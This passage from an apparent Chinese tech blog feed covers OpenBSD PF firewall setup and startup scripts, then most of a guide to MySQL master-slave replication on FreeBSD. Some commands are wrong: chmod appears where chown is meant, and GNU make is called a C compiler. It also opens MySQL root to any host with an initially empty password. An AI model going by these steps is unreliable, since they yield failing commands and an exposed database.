<p>多个远程主机不要使用相同的公钥，最好是使用各自的公钥、私钥；</p>
<p>少用，最好是不用无线网络，加密强度太差，容易被破解；</p>
<p>M$系统下的病毒、木马太多了，推荐客户端转换到Linux/UNIX环境，安全性更高，而且仍然有PuTTY及工具可用；</p>
<p>注意清除本地机器上不必要保留的文件（例如私钥、公钥、主机RSA指纹、C:\Documents and Settings\Administrator目录下的文件等等）。</p>
<p>八、启用Packet Filter防火墙</p>
<p>Packet Filter是非常优秀的包过滤防火墙，OpenBSD核心已经集成了Packet Filter防火墙，不过默认并没有启用，下面我们来启用Packet Filter的强大功能！</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/pf.conf</p>
<p>跳到最后，加入下面的内容：</p>
<p>QUOTE:<br />
# 宏定义<br />
# 请把下面的fxp0换成你自己用的外网网卡，不知道的可以输入ifconfig查看<br />
ext_if=&#8221;fxp0&#8243;</p>
<p># 指定可以使用SSH登录的IP，支持CIDR<br />
admin_add=&#8221;192.168.0.0/24&#8243;</p>
<p># 指定SSH端口。<br />
# 注意，如果在/etc/ssh/sshd_config文件中更改了SSH端口号，这里的也需要同样修改。否则连不上了不要怪偶没有提醒！<br />
ssh_port=&#8221;58937&#8243;</p>
<p># 维持一个持久的表，里面存放的是对本机发动DDoS攻击的IP<br />
table  persist</p>
<p># 选项设定<br />
set require-order yes<br />
set block-policy drop<br />
set optimization aggressive<br />
set loginterface none<br />
set skip on lo0</p>
<p># TCP参数设定<br />
set timeout {interval 3,frag 10}<br />
set timeout {tcp.first 10,tcp.opening 2,tcp.established 600,tcp.closing 20,tcp.finwait 10,tcp.closed 10}</p>
<p># UDP、ICMP及其它参数设定<br />
set timeout {udp.first 20,udp.single 10,udp.multiple 10}<br />
set timeout {icmp.first 10,icmp.error 5}<br />
set timeout {other.first 20,other.single 10,other.multiple 20}<br />
set timeout {adaptive.start 0,adaptive.end 0}</p>
<p># 允许最多有65536个连接<br />
set limit { states 65535, frags 200, src-nodes 65536, tables 65536, table-entries 1048576 }</p>
<p># 包整形<br />
scrub in all<br />
scrub out all</p>
<p># 阻止所有不匹配的包和从DDoS主机来的包<br />
block quick from<br />
block return<br />
block in all<br />
block out all</p>
<p># 防止IP欺骗<br />
antispoof quick for {lo0,$ext_if}</p>
<p># 允许本机访问其他机器<br />
pass out quick on $ext_if inet from $ext_if to any flags S/SA keep state</p>
<p># 允许IPv4地址的客户机访问本地80（www）端口，发起过快连接（DDoS）的主机加入阻止列表。注意是一行，下同<br />
pass in quick on $ext_if inet proto tcp from any to $ext_if port 80 flags S/SA synproxy state (source-track rule,max-src-nodes 200,max-src-states 100,max-src-conn 100,max-src-conn-rate 1000/10,overload  flush global )</p>
<p># 允许IPv6地址的客户机访问本地80（www）端口，发起过快连接（DDoS）的主机加入阻止列表<br />
pass in quick on $ext_if inet6 proto tcp from any to $ext_if port 80 flags S/SA synproxy state (source-track rule,max-src-nodes 200,max-src-states 100,max-src-conn 100,max-src-conn-rate 1000/10,overload  flush global )</p>
<p># 允许管理IP远程连接本机SSH端口<br />
pass in quick on $ext_if inet proto tcp from $admin_add to $ext_if port $ssh_port flags S/SA synproxy state</p>
<p>保存退出。</p>
<p>修改系统配置，使得开机启用PF防火墙：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/rc.conf.local</p>
<p>跳到最后，加入下面这行：</p>
<p>QUOTE:<br />
pf=YES<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
保存退出。</p>
<p>九、系统启动脚本的修改</p>
<p>修改系统启动脚本，使得MySQL、PHP(fastcgi)、Nginx可以在系统启动的时候自动启动，免去手动启动的麻烦。</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/rc.local</p>
<p>跳到最后，加入下面的内容：</p>
<p>QUOTE:<br />
# 启动时校时。这行也可以加在/etc/daily.local文件的最前面，每天零点自动校时<br />
rdate -n 210.72.145.44<br />
# Start MySQL<br />
if [ -x /usr/local/bin/mysqld_safe ] ; then<br />
echo -n &#8216;Starting MySQL&#8230;&#8217;<br />
su -c mysql root -c &#8216;/usr/local/bin/mysqld_safe &gt;/dev/null 2&gt;&amp;1 &amp;&#8217;<br />
echo &#8220;DONE&#8221;<br />
fi<br />
# Start php-fastcgi<br />
if [ -x /usr/local/bin/spawn-fcgi ] ; then<br />
echo -n &#8216;Starting php-fastcgi&#8230;&#8217;<br />
/usr/local/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 6 -u www -f /usr/local/bin/php-fastcgi &gt; /var/run/fcgi.pid<br />
echo &#8220;DONE&#8221;<br />
fi<br />
# Start nginx<br />
if [ -x /usr/local/sbin/nginx ] ; then<br />
echo -n &#8216;Starting nginx&#8230;&#8217;<br />
/usr/local/sbin/nginx<br />
echo &#8220;DONE&#8221;<br />
fi</p>
<p>保存退出。</p>
<p>reboot重启，启动后输入top看看，O.N.M.P.环境已经搭建好！</p>
<p>系统启动后，还要把MySQL自带的测试数据库和匿名用户删除，防止被黑客利用。</p>
<p>默认情况下，新安装的MySQL数据库，root密码为空！同样需要第一时间进行设置，方法见下图：</p>
<p>好了，至此，O.N.M.P.环境的搭建已经结束，剩下的就看各位自行发挥了！</p>
<p>写在最后</p>
<p>其实，系统的安全是个整体工程，并不是用上了OpenBSD这个最安全的操作系统就算万事OK，还有很多事情要做。</p>
<p>更多的是需要在日常工作中积累经验，多分析系统整体的运行情况，多关注网络安全方面的内容，这样才能尽可能的打造安全的运维环境。</p>
<p>本手册只是起到抛砖引玉的作用，希望能吸引更多的人来关注系统安全，希望有更多的人能用上OpenBSD这个主动安全的操作系统，希望能推动OpenBSD在国内的更多普及。如此，则幸甚！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1176.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>具有负载均衡功能的MySQL服务器集群部署及实现</title>
		<link>http://www.evanjiang.net.cn/archives/1134.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1134.html#comments</comments>
		<pubDate>Sat, 30 May 2009 17:04:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1134</guid>
		<description><![CDATA[<p>MySQL是一个高速度、高性能、多线程的关系型数据库管理系统，适用平台多，可扩展性强。在实际生产环境中，部署和实现具有一定负载均衡功能的MySQL服务器集群，对于提高用户数据库应用系统的性能、速度和稳定性具有明显的作用。本文简要介绍了在 FreeBSD 7.0-Release系统上部署实现MySQL服务器集群的方案，并对可能出现的问题提供了相应的解决方法。</p>
<p>　1. 引言</p>
<p>　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。</p>
<p>　　2. 系统模型</p>
<p>　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。</p>
<p>　　3. 部署实现</p>
<p>　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。</p>
<p>　　3.1 系统部署</p>
<p>　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。</p>
<p>　　3.1.1 安装FreeBSD系统</p>
<p>　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。

　3.1.2 编译安装MySQL</p>
<p>　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。</p>
<p>　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：</p>
<p>　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd make-3.81</p>
<p>　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean</p>
<p>　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。</p>
<p>　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：</p>
<p>　　(1). 解压mysql-5.1.30.tar.gz，并进行配置</p>
<p>　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \</p>
<p>　　-–prefix=/app/mysql5 -–with-charset=gb2312</p>
<p>　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。&#8211;with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用&#8211;with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL是一个高速度、高性能、多线程的关系型数据库管理系统，适用平台多，可扩展性强。在实际生产环境中，部署和实现具有一定负载均衡功能的MySQL服务器集群，对于提高用户数据库应用系统的性能、速度和稳定性具有明显的作用。本文简要介绍了在 FreeBSD 7.0-Release系统上部署实现MySQL服务器集群的方案，并对可能出现的问题提供了相应的解决方法。</p>
<p>　1. 引言</p>
<p>　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。</p>
<p>　　2. 系统模型</p>
<p>　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。</p>
<p>　　3. 部署实现</p>
<p>　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。</p>
<p>　　3.1 系统部署</p>
<p>　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。</p>
<p>　　3.1.1 安装FreeBSD系统</p>
<p>　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。<br />
<span id="more-1134"></span><br />
　3.1.2 编译安装MySQL</p>
<p>　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。</p>
<p>　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：</p>
<p>　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd make-3.81</p>
<p>　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean</p>
<p>　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。</p>
<p>　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：</p>
<p>　　(1). 解压mysql-5.1.30.tar.gz，并进行配置</p>
<p>　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \</p>
<p>　　-–prefix=/app/mysql5 -–with-charset=gb2312</p>
<p>　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。&#8211;with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用&#8211;with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, … 。</p>
<p>　　(2). 编译安装MySQL</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make install</p>
<p>　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# /usr/local/bin/make clean</p>
<p>　　注意一定要按绝对路径调用GNU C编译器，否则编译过程报错退出。</p>
<p>　　(3). 为系统添加mysql用户组和用户</p>
<p>　　[root@FreebsdMaster /]# pw group add mysql</p>
<p>　　[root@FreebsdMaster /]# adduser</p>
<p>　　FreeBSD系统没有groupadd命令，其添加用户组的命令是pw，添加用户命令adduser按系统提示操作即可完成。当然用 pw user add mysql命令也可以完成添加用户mysql的功能，但不如adduser命令功能完善。</p>
<p>　　(4). 更改/app/mysql5目录及文件属性</p>
<p>　　[root@FreebsdMaster /app]# chmod –R mysql mysql5</p>
<p>　　[root@FreebsdMaster /app]# chgrp –R mysql mysql5</p>
<p>　　说明：/app/mysql5为MySQL数据库系统所在目录，如果用户部署的应用系统数据量极大，可以将数据库系统目录设在大容量磁盘阵列上。磁盘阵列设置与具体机器硬件相关性很大，具体操作设置参考具体硬件系统说明和FreeBSD操作手册。不借助第三方软件，FreeBSD 7.0-Release系统可以配置RAID0、RAID1磁盘阵列。</p>
<p>　　(5). 安装MySQL系统初始数据库</p>
<p>　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# ./scripts/mysql_install_db.sh &#8211;basedir=/app/mysql5 –-data-dir=/app/mysql5/data</p>
<p>　　注意：必须考虑Unix系统的文件权限特性，首先给mysql_install_db.sh脚本添加可执行属性，否则安装脚本无法执行。执行chmod +x ./scripts/mysql_install_db.sh命令即可。参数&#8211;basedir=/app/mysql5和&#8211;datadir=/app /msyql5/data为必加参数，否则脚本运行报错退出，无法安装系统初始数据库mysql和测试数据库test，mysql数据库包含系统权限设置表，没有这些表数据库服务进程mysqld将无法启动。</p>
<p>　　(6). 再次更改/app/mysql5目录及其文件属性</p>
<p>　　[root@FreebsdMaster /app]# chmod –R root mysql5<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　[root@FreebsdMaster /app]# chmod –R mysql mysql5/data</p>
<p>　　这样做是为了保证系统安全，防止通过MySQL系统漏洞的入侵行为。MySQL以mysql用户身份运行，对/data目录具有完全访问权限，对其它目录则只有系统管理员根据需要设置的访问权限，确保FreeBSD系统的安全。这里需要特别提醒用户注意的是要确保mysqld文件(MySQL的守护进程，位于/app/mysql5/libexec目录下)没有设置setuid标志位，如果设置了该标志位，入侵者对其它文件就具有其不应有的权限。具体原因参考关于Unix系统安全的手册，本文对这个问题不再赘述。</p>
<p>　　(7). 启动MySQL服务器</p>
<p>　　上述操作全部完成以后，输入如下命令启动MySQL数据库服务守护进程：</p>
<p>　　[root@FreebsdMaster /]# /app/mysql5/bin/mysqld_safe –user=mysql &#038;</p>
<p>　　&#8211;user参数表示以mysql用户身份运行MySQL数据库服务守护进程，“&#038;”符号表示以后台方式运行。输入 netstat –an|grep 3306命令，如果看到下面的输出则表示MySQL5.1.30已在用户系统上编译安装成功。其中，3306是MySQL数据库系统默认的监听端口号。</p>
<p>　　[root@FreebsdMaster /]# netstat –an|grep 3306</p>
<p>　　tcp4 0 0 *.3306 *.* LISTEN</p>
<p>　　按照同样方法与步骤在其它三台机器上安装FreeBSD 7.0-Release与MySQL5.1.30，为下面的MySQL服务器集群配置准备好系统平台基础。</p>
<p>　3.2 系统配置</p>
<p>　　所有系统安装完毕之后，需要对它们做一些必要的配置方可按照用户预先设计的结构模型实现具有负载均衡功能的MySQL服务器集群。</p>
<p>　　3.2.1 FreeBSD操作系统配置</p>
<p>　　(1). 调整内核参数，优化操作系统性能</p>
<p>　　因为是处于生产环境的服务器，投入正常运行之前一定要对内核参数进行必要的调整，提升系统性能，加强稳定性。简要说就是去掉不必要的硬件支持选项，使新内核占用更少的内存，加快启动速度。不同机器硬件系统差异很大，用户可根据具体系统的硬件情况不断调整试验，最终定制出最优化、最安全的FreeBSD系统。一定要屏蔽掉组合键Ctrl+Alt+Del的热重启功能，防止用户误按Ctrl+Alt+Del重启系统，引起数据库系统服务意外中断。在内核配置文件如MYKERNEL中加入：</p>
<p>　　options SC_DISABLE_REBOOT</p>
<p>　　重新编译系统内核，重启后即可屏蔽Ctrl+Alt+Del组合键的热重启功能。如何定制新内核及重新编译FreeBSD系统，用于可参考FreeBSD系统手册，此不赘述。</p>
<p>　　(2). 进行其它设置，增强系统安全性</p>
<p>　　用户可根据以下一般安全准则设置自己的FreeBSD系统。</p>
<p>　　·选择一个好的密码并予以妥善保护。</p>
<p>　　·对于敏感文件采用适当安全等级的加密算法进行加密。对于敏感级别不是很高的文件采用系统自带的crypt工具加密;对于敏感度极高的文件则使用专用加密工具，如PGP、GPG进行不对称加密，提高加密文件的防攻击能力。</p>
<p>　　·仔细设置文件访问权限，达到保护文件目的。</p>
<p>　　·保护好自己的.profile文件。恰当设置.profile文件的访问权限，确保只有自己能访问。</p>
<p>　　·仔细维护已设置setuid或setgid标志位的任何程序。</p>
<p>　　·禁止不加防范地离开已注册终端。任何时候都必须按常规正常退出系统，先执行clear清屏命令，防止其它用户看到操作痕迹，再执行exit命令退出终端。</p>
<p>　　·防范特洛伊木马程序。正确设置PATH变量的检索顺序，确保系统目录位于当前目录的前面。</p>
<p>　　·防范病毒的入侵。</p>
<p>　　·监控最近一次注册时间，确保没有他人盗用自己的帐号。</p>
<p>　　特别提示：对于生产环境的服务器，一定要保证服务器的物理安全，安全措施再完善的系统，一旦被入侵者物理接触，所有的安全措施将形同虚设!</p>
<p>　　Unix系统安全是一个很大的课题，本文只是提及了一些最肤浅的常识，具体内容用户可以参考相关书籍或网上资源。为确保Unix系统的配置具有高度的安全性，可以使用Internet安全中心(Center for Internet Security，CIS)提供的安全测试工具Benchmarks或评估工具Scoring Tools，检验和监控系统配置的安全性 [4]。</p>
<p>　　3.2.2 MySQL数据库系统配置</p>
<p>　　为了能使上述系统实现一对多的主从复制(replication)和冗余机制，还需要对以上四个MySQL服务器进行一些必要的配置。</p>
<p>　　(1). 配置主机名和IP地址</p>
<p>　　本实现方案中把MySQL服务器Master主机名设为FreebsdMaster，IP地址配置为192.168.1.100，其它三台Slave依次设为 FreebsdSlave1，192.168.1.101;FreebsdSlave2，192.168.1.102;FreebsdSlave3，IP 地址192.168.1.103。</p>
<p>　　(2). 设置root用户密码</p>
<p>　　MySQL的root用户初始密码为空，为保证系统安全必须为root用户设置密码：</p>
<p>　　[root@FreebsdMaster /]# /app/mysql5/bin/mysql –uroot –p</p>
<p>　　Enter password:</p>
<p>　　mysql>SET PASSWORD=PASSWORD(‘secret’);</p>
<p>　　同Unix系统一样，输入密码时屏幕没有任何回显，进入系统后执行SET PASSWORD SQL语句设置或修改MySQL root用户密码。为使应用系统服务器远程连接到MySQL数据库服务器，除本地root用户以外，还要设置一个能从用户内部网络其它终端登录的root 用户。具体操作如下：</p>
<p>　　mysql>USE mysql;</p>
<p>　　mysql>UPDATE user SET Host=’%’ WHERE Host=’hostname.yourdomain’ AND User=’root’;</p>
<p>　　mysql>flush privileges;</p>
<p>　　完成上述操作后应用系统服务器就可以连接到MySQL数据库服务器进行各种操作了，这个远程root用户的初始密码为空，用户需要从远程终端登录，为其设置密码。</p>
<p>　　(3). 开启MySQL服务器的二进制更新日志功能</p>
<p>　　上述MySQL服务器安装完成后，安装程序没有生成my.cnf配置文件，为此用户需要手工添加/etc/my.cnf文件。MySQL服务是由 /app/myql5/libexec/mysqld提供的，其寻找my.cnf配置文件的默认顺序为/etc/my.cnf，~/.my.cnf， /usr/local/mysql/etc/my.cnf。启动ee编辑器，# ee /etc/my.cnf，在Master机器的配置文件写入如下内容：</p>
<p>　　[mysqld]</p>
<p>　　log-bin=mysql-master-bin</p>
<p>　　server-id=1</p>
<p>　　在其它三台Slave机器的配置文件/etc/my.cnf文件写入如下内容：</p>
<p>　　[mysqld]</p>
<p>　　server-id=int</p>
<p>　　其中，int为一大于1且互不相等的正整数，如2，3，4等。务必要正确设置每个机器上的/etc/my.cnf配置文件，尤其是server-id不能有重复，这是一对多数据库复制能否成功的关键[5]!</p>
<p>　　设定好上述/etc/my.cnf文件后启动Master上的MySQL数据库服务时就自动开启了二进制更新日志功能。在Slave上启动MySQL时要加上&#8211;log-bin参数，即可开启二进制更新日志功能。在Slave机器上启动MySQL服务的命令如下：</p>
<p>　　# /app/mysql5/bin/mysqld_safe &#8211;user=mysql &#8211;log-bin &#038;</p>
<p>　　这样做的目的为了实现冗余容错功能。当主服务器Master出现故障停止服务时，在预转换角色成为Master的Slave上执行STOP SLAVE; RESET MASTER SQL语句，在其它两台Slave上执行CHANGE MASTER TO SQL语句，执行STOP SLAVE; RESET MASTER SQL语句的Slave服务器即转换成新的Master，其余两台机器则从新的Master复制数据库数据(复制的是更新UPDATE、INSERT等操作，并不是简单的copy)，从而实现冗余容错。</p>
<p>　3.3 系统实现</p>
<p>　　完成上述准备后可以开始实现MySQL数据库的一对多复制，对应用系统的数据库访问代码进行优化，使更新操作UPDATE、INSERT等SQL语句定向到Master服务器，查询检索SELECT语句定向到Slave服务器，从而实现负载均衡; 当主服务器Master出现故障停止服务时，通过服务器角色转换实现冗余容错;上述所有服务器通过高速核心交换机连接在一起，协同工作，提供集群 (Cluster)性能。下面，本文就此举一简例，具体说明实现(Implementation)步骤。</p>
<p>　　3.3.1 准备主服务器</p>
<p>　　(1). 在主服务器上创建示例数据库repl_db</p>
<p>　　从本地或远程终端登录到Master服务器，执行CREATE DATABASE repl_db;语句，创建示例数据库repl_db。建立表repl_table：</p>
<p>　　mysql>CREATE TABLE repl_table (f1 INT, f2 VARCHAR(20)) ;</p>
<p>　　向表中添加数据：</p>
<p>　　mysql>INSERT INTO repl_table (f1, f2) VALUES(1, ‘first’);</p>
<p>　　(2). 授予Slave复制(Replication)权限</p>
<p>　　授予从属服务器Slave进行复制的权限。假设从属服务器连接到主服务器复制的用户名为“repl”，密码为“g00r002b”：</p>
<p>　　mysql>GRANT REPLICATION SLAVE ON *.* TO repl@’%’ IDENTIFIED BY ‘g00r002b’;</p>
<p>　　刷新系统权限表，锁定写入语句操作：</p>
<p>　　mysql>FLUSH TABLES WITH READ LOCK;</p>
<p>　　这时所有写入操作都被锁定，包括支持事务(Transaction)特性的InnoDB类型表的提交(COMMIT)操作也被锁定，为数据库初始复制(copy)做好准备。</p>
<p>　　(3). 简单备份repl_db</p>
<p>　　在此，通过tar命令把数据库初始数据备份到/tmp目录。</p>
<p>　　# tar –cvf /tmp/mysql-data.tar /app/mysql5/data/repl_db</p>
<p>　　(4). 记录主服务器状态</p>
<p>　　执行SHOW MASTER STATUS 语句：</p>
<p>　　mysql> SHOW MASTER STATUS;</p>
<p>　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+</p>
<p>　　| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |</p>
<p>　　+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>
<p>　　| mysql-master-bin.000001 | 1027 | | |</p>
<p>　　+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+</p>
<p>　　记下File和Position两个参数的值，从属服务器Slave为了复制(replication)连接到主服务器Master时要用到这两个参数，如果参数与此不符将导致复制(replication)失败!</p>
<p>　　(5). 释放主服务器表级写入锁定</p>
<p>　　mysql>UNLOCK TABLES;</p>
<p>　　至此，主服务器解除写入锁定，一对多复制准备工作已全部完成，准备接受Slave的复制(replication)连接。</p>
<p>　　3.3.2 准备从属服务器</p>
<p>　　(1). 停止从属服务器的MySQL数据库服务</p>
<p>　　# /app/mysql5/bin/mysqladmin –uroot –p shutdown</p>
<p>　　Enter password:</p>
<p>　　输入MySQL系统root用户密码，MySQL服务停止。</p>
<p>　　(2). 简单copy数据库初始数据</p>
<p>　　在从属服务器上执行ftp操作，访问主服务器，下载/tmp/mysql-data.tar文件，在/app/mysql5/data目录下执行如下操作，把初始数据copy到Slave服务器：</p>
<p>　　[root@FreebsdSlave1 /app/mysql5/data]# tar –xvf /tmp/msyql-data.tar</p>
